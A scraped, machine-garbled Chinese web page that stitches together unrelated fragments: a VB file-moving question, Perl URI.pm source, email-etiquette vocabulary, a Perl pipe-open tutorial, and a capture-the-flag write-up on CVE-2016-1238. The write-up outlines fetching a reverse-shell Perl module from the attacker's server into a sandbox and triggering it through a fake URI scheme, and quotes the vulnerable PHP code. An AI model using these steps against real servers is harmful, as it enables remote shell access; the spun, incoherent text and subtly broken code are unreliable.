VB如何通过文本框中的列表做为文件名移动文件

来源:未知作者:操作系统 日期:2020/03/01 22:10 浏览:

窗体上有五个公文框text1和text2,三个开关command1今后想达成的成效是:复制一列文件名到text1,点击command1后,该exe所在文书夹中有着该列表中名字的公文,自动移动到新建的img文件夹中有个难题,正是后缀不鲜明,。譬如111,有超大可能率是111.gif也可以有超大希望是111.png请教那样的代码怎么写?万极其感激!!!!

sub implementor
{
    my($scheme, $impclass) = @_;
    if (!$scheme || $scheme !~ /A$scheme_rez/o) {
    require URI::_generic;
    return "URI::_generic";
    }

    $scheme = lc($scheme);

    if ($impclass) {
    # Set the implementor class for a given scheme
        my $old = $implements{$scheme};
        $impclass->_init_implementor($scheme);
        $implements{$scheme} = $impclass;
        return $old;
    }

    my $ic = $implements{$scheme};
    return $ic if $ic;

    # scheme not yet known, look for internal or
    # preloaded (with 'use') implementation
    $ic = "URI::$scheme";  # default location

    # turn scheme into a valid perl identifier by a simple transformation...
    $ic =~ s/+/_P/g;
    $ic =~ s/./_O/g;
    $ic =~ s/-/_/g;

    no strict 'refs';
    # check we actually have one for the scheme:
    unless (@{"${ic}::ISA"}) {
        if (not exists $require_attempted{$ic}) {
            # Try to load it
            my $_old_error = $@;
           ###################################
            eval "require $ic"; #尝试包含并执行
           ###################################
            die $@ if $@ && $@ !~ /Can't locate.*in @INC/;
            $@ = $_old_error;
        }
        return undef unless @{"${ic}::ISA"};
    }

    $ic->_init_implementor($scheme);
    $implements{$scheme} = $ic;
    $ic;
}

lf you're using a graphical-user-interface mail client such as Netscape Messenger,Ms Outlook,or their ilk,beware that it may violate these rules when used with its default settings.Most such clients have a menu-based“view source”command.Use this on something your sent-mail folder,verifying sending of plain text without unnecessary attached crud.
设若你利用图形客户分界面包车型客车邮件程序,如微软公司的Outlook也许其余相仿的,注意它们的预设配置不必然满意这个必要。大大多这么的次第有凭仗选单的查阅原始码的指令,用它来检查发送文书夹中的音讯,以保证发送的是平素不剩余杂质的纯文本文件

图片 1

  • 第三个是perl5的CVE-2016-1238 (甘休至官方wp出来的时候Orange大佬说Ubuntu 17.04 in AWS最新版本还未有被修复卡塔尔国,当深入分析遭逢了非定义的构和(定义的交涉在perl5/LWP/Protocol文件夹下能够看出, 私下认可帮衬GHTTP、cpan、data、file、ftp、gopher、http、https、loopback、mailto、nntp、nogo合同State of Qatar时, 如 pr0ph3t://pr0ph3t.com, 会自动读取当前目录下的UTiguanI目录并查阅是或不是有对应左券的pm模块并尝试eval "require xxx" 这里大家的恶意pm模块就能够被试行, 具体漏洞代码在perl5/URI.pm下的136行:

graphical-user-interface
图形客商分界面
client
客户端
ilk
相同的,家族,同类,种类
beware
当心,提防
violate
违反,违背,妨碍,侵犯
default
默认,缺省
setting
设置,设定,布景,环境
verifying
检验
folder
文件夹
command
指令
view source
查看源代码
menu-based
基于菜单的

  1. 和日前两题雷同,基于ip创制沙箱文件夹
  2. 将盛传的UENVISIONL带入命令GET实践 --- GET是Lib for WWW in Perl中的命令 目标是仿照http的GET须求
  3. 解析传入的filename参数
  4. 获取流传filename的最后顶级文件夹(若赢得不为空卡塔尔并创办
    (没有实际做这道题, 不过测度sandbox文件夹里面包车型大巴php并不会被解析State of Qatar

****beware that it may violate these rules when used with its default setting
小心他们有非常的大希望违反条例,习贯使用默许设置
used
用过,习惯
那样翻译对吧?****

下一场诉求/?url=自己的vps的perl后门路径&filename=URI/pr0ph3t.pm
在沙箱文件夹的URAV4I目录下写入反弹shell的pm文件
末段监听某些端口后号令/?url=pr0ph3t://pr0ph3t.com&filename=xxx就可以吸取shell

https://mailman.linuxchix.org/pipermail/courses/2003-September/001344.html

Executing Programs with "open"

In addition to what we saw last week, the "open" command has one more very
powerful application: it allows you to execute a command, send input and
receive output.

Try this program (it only works on Unix):

#!/usr/bin/perl -w
  use strict;

  open DATA, "who |"   or die "Couldn't execute program: $!";
  while ( defined( my $line = <DATA> )  ) {
    chomp($line);
    print "$linen";
  }
  close DATA;

Here's what happened: Perl saw that your "file" ended with a "pipe" (vertical
bar) character. So it interpreted the "file" as a command to be executed, and
interpreted the command's output as the "file"'s contents. The command is
"who" (which prints information on currently logged-in users). If you execute
that command, you will see that the output is exactly what the Perl program
gave you.

In this case, we "read" data from the command. To execute a command that we can
"write" (send data) to, we should place a pipe character BEFORE the command.
These options are mutually exclusive: we can read from a command or write to
it, but not both.

In the Unix world, a lot can be done by piping the output of one program into
the input of another. Perl continues this spirit.

Note that we can also send command-line parameters to the command, like this:

open DATA, "who -H |"    or die "Couldn't execute program: $!";

In fact, Perl allows you to use "open" to do pretty much anything you would
normally do on the command-line, as this example demonstrates:

  open OUTPUT, "| grep 'foo' > result.txt"     or die "Failure: $!";

We can then write whatever we want to the "OUTPUT" filehandle. The Unix "grep"
command will filter out any text which doesn't contain the text "foo"; any text
which DOES contain "foo" will be written to "result.txt".

读书了大师傅们的思绪之后综合,那题有四个思路

shell

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);